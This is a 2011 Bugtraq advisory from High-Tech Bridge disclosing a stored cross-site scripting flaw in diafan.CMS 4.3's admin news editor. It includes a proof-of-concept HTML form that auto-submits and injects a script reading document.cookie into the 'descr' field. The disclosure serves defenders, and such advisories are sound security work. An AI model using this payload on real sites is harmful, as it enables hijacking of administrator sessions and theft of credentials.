[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
XSS vulnerability in diafan.CMS
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: XSS vulnerability in diafan.CMS
- From: advisory@xxxxxxxxxxx
- Date: Tue, 11 Jan 2011 12:29:47 +0100 (CET)
Vulnerability ID: HTB22775
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_diafan_cms.html
Product: diafan.CMS
Vendor: Diafan ( http://www.diafan.ru/ )
Vulnerable Version: 4.3 and probably prior versions
Vendor Notification: 28 December 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing
(http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the
"http://host/admin/news/saveNEWS_ID/" script to properly sanitize user-supplied
input in "descr" variable. Successful exploitation of this vulnerability could
result in a compromise of the application, theft of cookie-based authentication
credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is
available:
<form action="http://host/admin/news/saveNEWS_ID/" method="post" name="main"
enctype="multipart/form-data" >
<input type="hidden" name="noOut" value="1">
<input type="hidden" name="save_post" value="1">
<input type="hidden" name="id" value="NEWS_ID">
<input type="hidden" name="name" value="news name">
<input type="hidden" name="created" value="23.12.2010 09:02">
<input type="hidden" name="photo" value="">
<input type="hidden" name="act" value="1">
<input type="hidden" name="tag" value="">
<input type="hidden" name="title_meta" value="">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="descr"
value='desc"><script>alert(document.cookie)</script>'>
<input type="hidden" name="rewrite" value="">
<input type="hidden" name="site_id" value="5">
<input type="hidden" name="anons" value='announce'>
<input type="hidden" name="text" value="news_text">
</form>
<script>
document.main.submit();
</script>